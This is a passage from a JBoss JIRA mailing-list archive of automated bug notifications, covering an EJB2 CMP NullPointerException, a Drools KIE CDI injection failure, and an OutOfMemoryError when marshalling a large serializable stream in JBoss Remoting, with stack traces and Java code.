RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297]

Adding SET as CC + flags
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:38:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 03:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-140) KIE module injection through
 CDI does not work in container
In-Reply-To: <JIRA.12491833.1368620305000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491833.1368620305000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491833.1368620305000.3677.1378107483500@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-140?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800821#comment-12800821 ] 

RH Bugzilla Integration commented on DROOLS-140:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 955193|https://bugzilla.redhat.com/show_bug.cgi?id=955193]

Verified on BRMS 6.0.0 ER2.
                
> KIE module injection through CDI does not work in container
> -----------------------------------------------------------
>
>                 Key: DROOLS-140
>                 URL: https://issues.jboss.org/browse/DROOLS-140
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 6.0.0.CR1
>
>
> Description of problem:
> Injection of KIE module through CDI fails on JBoss EAP 6.0/6.1 due to wrong processing of resource URI when loading pom.properties in ClasspathKieProject.
> Version-Release number of selected component (if applicable):
> BRMS 6.0.0.Beta1
> EAP 6.0, 6.1.ER4
> How reproducible:
> Deploy the attached reproducer WAR. Deployment fails, server.log contains the following error (see attachment for all errors in log):
> 15:40:29,923 INFO  [stdout] (MSC service thread 1-2) kmodules: vfs:/content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar/META-INF/kmodule.xml
> 15:40:29,939 ERROR [org.drools.compiler.kie.builder.impl.ClasspathKieProject] (MSC service thread 1-2) Unable to load pom.properties from/content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar as jarPath cannot be found
> /content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar
> The first log line shows that ClasspathKieProject located kmodule.xml at URL starting with protocol 'vfs:'. Later, in method fixURLFromKProjectPath, the protocol prefix is removed, leading to URL /content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar which now references absolute path which is wrong.
> Steps to Reproduce:
> 1. Deploy attached reproducer WAR on EAP 6.
> 2. Watch server.log for deployment errors.
>   
> Actual results:
> Deployment fails due to failed injection.
> Expected results:
> Application deploys successfully and writes INFO message into server.log.
> Additional info:
> This issue blocks further testing if KIE module injection through CDI. It also renders the CDI feature unusable in real environment (e.g. some web or EJB container with CDI).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:38:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 03:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-140) KIE module injection through
 CDI does not work in container
In-Reply-To: <JIRA.12491833.1368620305000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491833.1368620305000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491833.1368620305000.3680.1378107483740@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-140?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800822#comment-12800822 ] 

RH Bugzilla Integration commented on DROOLS-140:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 955193|https://bugzilla.redhat.com/show_bug.cgi?id=955193] from ON_QA to VERIFIED
                
> KIE module injection through CDI does not work in container
> -----------------------------------------------------------
>
>                 Key: DROOLS-140
>                 URL: https://issues.jboss.org/browse/DROOLS-140
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 6.0.0.CR1
>
>
> Description of problem:
> Injection of KIE module through CDI fails on JBoss EAP 6.0/6.1 due to wrong processing of resource URI when loading pom.properties in ClasspathKieProject.
> Version-Release number of selected component (if applicable):
> BRMS 6.0.0.Beta1
> EAP 6.0, 6.1.ER4
> How reproducible:
> Deploy the attached reproducer WAR. Deployment fails, server.log contains the following error (see attachment for all errors in log):
> 15:40:29,923 INFO  [stdout] (MSC service thread 1-2) kmodules: vfs:/content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar/META-INF/kmodule.xml
> 15:40:29,939 ERROR [org.drools.compiler.kie.builder.impl.ClasspathKieProject] (MSC service thread 1-2) Unable to load pom.properties from/content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar as jarPath cannot be found
> /content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar
> The first log line shows that ClasspathKieProject located kmodule.xml at URL starting with protocol 'vfs:'. Later, in method fixURLFromKProjectPath, the protocol prefix is removed, leading to URL /content/kie-cdi-war-web-app-1.0.0-SNAPSHOT.war/WEB-INF/lib/kie-cdi-war-kie-module-1.0.0-SNAPSHOT.jar which now references absolute path which is wrong.
> Steps to Reproduce:
> 1. Deploy attached reproducer WAR on EAP 6.
> 2. Watch server.log for deployment errors.
>   
> Actual results:
> Deployment fails due to failed injection.
> Expected results:
> Application deploys successfully and writes INFO message into server.log.
> Additional info:
> This issue blocks further testing if KIE module injection through CDI. It also renders the CDI feature unusable in real environment (e.g. some web or EJB container with CDI).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:38:03 2013
From: jira-events at lists.jboss.org (licheng cheng (JIRA))
Date: Mon, 2 Sep 2013 03:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBREM-1324) Always hit OutOfMemoryError
 If I try to invoke ejb method with large object as its parameter at the
 marshlling step
In-Reply-To: <JIRA.12499737.1378107449086@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499737.1378107449086@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499737.1378107449086.3681.1378107483847@jira02.app.mwc.hst.phx2.redhat.com>

licheng cheng created JBREM-1324:
------------------------------------

             Summary: Always hit OutOfMemoryError If I try to invoke ejb method with large object as its parameter at the marshlling step
                 Key: JBREM-1324
                 URL: https://issues.jboss.org/browse/JBREM-1324
             Project: JBoss Remoting
          Issue Type: Bug
      Security Level: Public (Everyone can see)
          Components: marshall
    Affects Versions: 2.2.2.SP10
         Environment: WindowsXP + jdk1.6
            Reporter: licheng cheng
             Fix For: 2.2.2.SP10


 In our stateless EJB, there is one API defined as below.
    public void modelSave(SerializableInputStream model) throws java.rmi.RemoteException;
    The SerializableInputStream is defined as below and its whole definition is attached. The intent of defining such class is that sometimes we need to pass through large object (its content may be more than 300M) as parameter to remote ejb, while the -Xmx of the JVM is only 512M by default. With such serializable inputstream, expect JBoss not to load the whole object into JVM before invoking ejb method to avoid the OutOfMemoryError issue.

   public class SerializableInputStream extends InputStream implements Serializable {
         private InputStream stream;
     ....
     //---------------------------< Serializable >-------------------------------
     private void writeObject(ObjectOutputStream out)
            throws IOException {
        byte[] buffer = new byte[4096];
        int bytes;
        while ((bytes = stream.read(buffer)) >= 0) {
            // Write a segment of the input stream
            if (bytes > 0) {
                // just to ensure that no 0 is written
                out.writeInt(bytes);
                out.write(buffer, 0, bytes);
            }

        }
        // Write the end of stream marker
        out.writeInt(0);
        // close stream
        stream.close();
    }

    private void readObject(ObjectInputStream in)
            throws IOException {
        final File file = File.createTempFile("serializable-stream", "bin");
        OutputStream out = new FileOutputStream(file);
        byte[] buffer = new byte[4096];
        for (int bytes = in.readInt(); bytes > 0; bytes = in.readInt()) {
            if (buffer.length < bytes) {
                buffer = new byte[bytes];
            }
            in.readFully(buffer, 0, bytes);
            out.write(buffer, 0, bytes);
        }
        out.close(); 

        stream = new FileInputStream(file) {
            private boolean closed = false;
            public void close() throws IOException {
                super.close();
                closed = true;
                file.delete();
            }
            ...
        };
    }
  } 

   But from the test result, I can that JBoss marshaller first read its content (the serializable inputstream) into a byte array, which means the big object is loaded into memory. With our default JVM setting, we always hit OOM issue as below
   2013-08-07 14:30:21,001 ERROR [STDERR] Caused by: java.lang.Exception: java.lang.OutOfMemoryError: Java heap space
2013-08-07 14:30:21,001 ERROR [STDERR] at org.jboss.invocation.unified.interfaces.UnifiedInvokerProxy.invoke(UnifiedInvokerProxy.java:222)
2013-08-07 14:30:21,001 ERROR [STDERR] at org.jboss.invocation.InvokerInterceptor.invokeInvoker(InvokerInterceptor.java:365)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.InvokerInterceptor.invoke(InvokerInterceptor.java:197)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.TransactionInterceptor.invoke(TransactionInterceptor.java:61)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.SecurityInterceptor.invoke(SecurityInterceptor.java:70)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.ejb.StatelessSessionInterceptor.invoke(StatelessSessionInterceptor.java:112)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.ClientContainer.invoke(ClientContainer.java:100)
2013-08-07 14:30:21,016 ERROR [STDERR] ... 39 more
2013-08-07 14:30:21,016 ERROR [STDERR] Caused by: java.lang.OutOfMemoryError: Java heap space
2013-08-07 14:30:21,016 ERROR [STDERR] at java.util.Arrays.copyOf(Arrays.java:2786)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ByteArrayOutputStream.toByteArray(ByteArrayOutputStream.java:133)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledValue.<init>(MarshalledValue.java:72)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledValueEX.<init>(MarshalledValueEX.java:47)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.unified.interfaces.JavaSerializationManager.createdMarshalledValue(JavaSerializationManager.java:105)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledInvocation.createMarshalledValue(MarshalledInvocation.java:628)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledInvocation.writeExternal(MarshalledInvocation.java:570)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeExternalData(ObjectOutputStream.java:1429)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1398)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1518)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1483)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1400)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158)
2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:330)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.serialization.impl.java.JavaSerializationManager.sendObjectVersion2_2(JavaSerializationManager.java:119)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.serialization.impl.java.JavaSerializationManager.sendObject(JavaSerializationManager.java:94)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.marshal.serializable.SerializableMarshaller.write(SerializableMarshaller.java:120)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.unified.marshall.InvocationMarshaller.write(InvocationMarshaller.java:75)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.transport.socket.MicroSocketClientInvoker.versionedWrite(MicroSocketClientInvoker.java:969)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.transport.socket.MicroSocketClientInvoker.transport(MicroSocketClientInvoker.java:606)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.MicroRemoteClientInvoker.invoke(MicroRemoteClientInvoker.java:122)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.Client.invoke(Client.java:1634)
2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.Client.invoke(Client.java:548)
   Although passing big object with Remote ejb call is not a common use case, but I think it will be better if JBoss could consider such case.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:40:03 2013
From: jira-events at lists.jboss.org (licheng cheng (JIRA))
Date: Mon, 2 Sep 2013 03:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBREM-1324) Always hit OutOfMemoryError
 If I try to invoke ejb method with large object as its parameter at the
 marshlling step
In-Reply-To: <JIRA.12499737.1378107449000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499737.1378107449000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499737.1378107449000.3686.1378107603670@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBREM-1324?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

licheng cheng updated JBREM-1324:
---------------------------------

    Attachment: SerializableInputStream.java

    
> Always hit OutOfMemoryError If I try to invoke ejb method with large object as its parameter at the marshlling step
> -------------------------------------------------------------------------------------------------------------------
>
>                 Key: JBREM-1324
>                 URL: https://issues.jboss.org/browse/JBREM-1324
>             Project: JBoss Remoting
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: marshall
>    Affects Versions: 2.2.2.SP10
>         Environment: WindowsXP + jdk1.6
>            Reporter: licheng cheng
>             Fix For: 2.2.2.SP10
>
>         Attachments: SerializableInputStream.java
>
>
>  In our stateless EJB, there is one API defined as below.
>     public void modelSave(SerializableInputStream model) throws java.rmi.RemoteException;
>     The SerializableInputStream is defined as below and its whole definition is attached. The intent of defining such class is that sometimes we need to pass through large object (its content may be more than 300M) as parameter to remote ejb, while the -Xmx of the JVM is only 512M by default. With such serializable inputstream, expect JBoss not to load the whole object into JVM before invoking ejb method to avoid the OutOfMemoryError issue.
>    public class SerializableInputStream extends InputStream implements Serializable {
>          private InputStream stream;
>      ....
>      //---------------------------< Serializable >-------------------------------
>      private void writeObject(ObjectOutputStream out)
>             throws IOException {
>         byte[] buffer = new byte[4096];
>         int bytes;
>         while ((bytes = stream.read(buffer)) >= 0) {
>             // Write a segment of the input stream
>             if (bytes > 0) {
>                 // just to ensure that no 0 is written
>                 out.writeInt(bytes);
>                 out.write(buffer, 0, bytes);
>             }
>         }
>         // Write the end of stream marker
>         out.writeInt(0);
>         // close stream
>         stream.close();
>     }
>     private void readObject(ObjectInputStream in)
>             throws IOException {
>         final File file = File.createTempFile("serializable-stream", "bin");
>         OutputStream out = new FileOutputStream(file);
>         byte[] buffer = new byte[4096];
>         for (int bytes = in.readInt(); bytes > 0; bytes = in.readInt()) {
>             if (buffer.length < bytes) {
>                 buffer = new byte[bytes];
>             }
>             in.readFully(buffer, 0, bytes);
>             out.write(buffer, 0, bytes);
>         }
>         out.close(); 
>         stream = new FileInputStream(file) {
>             private boolean closed = false;
>             public void close() throws IOException {
>                 super.close();
>                 closed = true;
>                 file.delete();
>             }
>             ...
>         };
>     }
>   } 
>    But from the test result, I can that JBoss marshaller first read its content (the serializable inputstream) into a byte array, which means the big object is loaded into memory. With our default JVM setting, we always hit OOM issue as below
>    2013-08-07 14:30:21,001 ERROR [STDERR] Caused by: java.lang.Exception: java.lang.OutOfMemoryError: Java heap space
> 2013-08-07 14:30:21,001 ERROR [STDERR] at org.jboss.invocation.unified.interfaces.UnifiedInvokerProxy.invoke(UnifiedInvokerProxy.java:222)
> 2013-08-07 14:30:21,001 ERROR [STDERR] at org.jboss.invocation.InvokerInterceptor.invokeInvoker(InvokerInterceptor.java:365)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.InvokerInterceptor.invoke(InvokerInterceptor.java:197)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.TransactionInterceptor.invoke(TransactionInterceptor.java:61)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.SecurityInterceptor.invoke(SecurityInterceptor.java:70)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.ejb.StatelessSessionInterceptor.invoke(StatelessSessionInterceptor.java:112)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.proxy.ClientContainer.invoke(ClientContainer.java:100)
> 2013-08-07 14:30:21,016 ERROR [STDERR] ... 39 more
> 2013-08-07 14:30:21,016 ERROR [STDERR] Caused by: java.lang.OutOfMemoryError: Java heap space
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.util.Arrays.copyOf(Arrays.java:2786)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ByteArrayOutputStream.toByteArray(ByteArrayOutputStream.java:133)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledValue.<init>(MarshalledValue.java:72)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledValueEX.<init>(MarshalledValueEX.java:47)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.unified.interfaces.JavaSerializationManager.createdMarshalledValue(JavaSerializationManager.java:105)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledInvocation.createMarshalledValue(MarshalledInvocation.java:628)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.MarshalledInvocation.writeExternal(MarshalledInvocation.java:570)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeExternalData(ObjectOutputStream.java:1429)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1398)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1518)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1483)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1400)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:330)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.serialization.impl.java.JavaSerializationManager.sendObjectVersion2_2(JavaSerializationManager.java:119)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.serialization.impl.java.JavaSerializationManager.sendObject(JavaSerializationManager.java:94)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.marshal.serializable.SerializableMarshaller.write(SerializableMarshaller.java:120)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.invocation.unified.marshall.InvocationMarshaller.write(InvocationMarshaller.java:75)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.transport.socket.MicroSocketClientInvoker.versionedWrite(MicroSocketClientInvoker.java:969)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.transport.socket.MicroSocketClientInvoker.transport(MicroSocketClientInvoker.java:606)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.MicroRemoteClientInvoker.invoke(MicroRemoteClientInvoker.java:122)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.Client.invoke(Client.java:1634)
> 2013-08-07 14:30:21,016 ERROR [STDERR] at org.jboss.remoting.Client.invoke(Client.java:548)
>    Although passing big object with Remote ejb call is not a common use case, but I think it will be better if JBoss could consider such case.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 04:31:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Mon, 2 Sep 2013 04:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-208) Build 5.6.0-SNAPSHOT on
 jenkins and prepare for 5.6.0.Final release
In-Reply-To: <JIRA.12497703.1375285149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497703.1375285149000@jira02.app.mwc.hst.phx2.redhat.com>
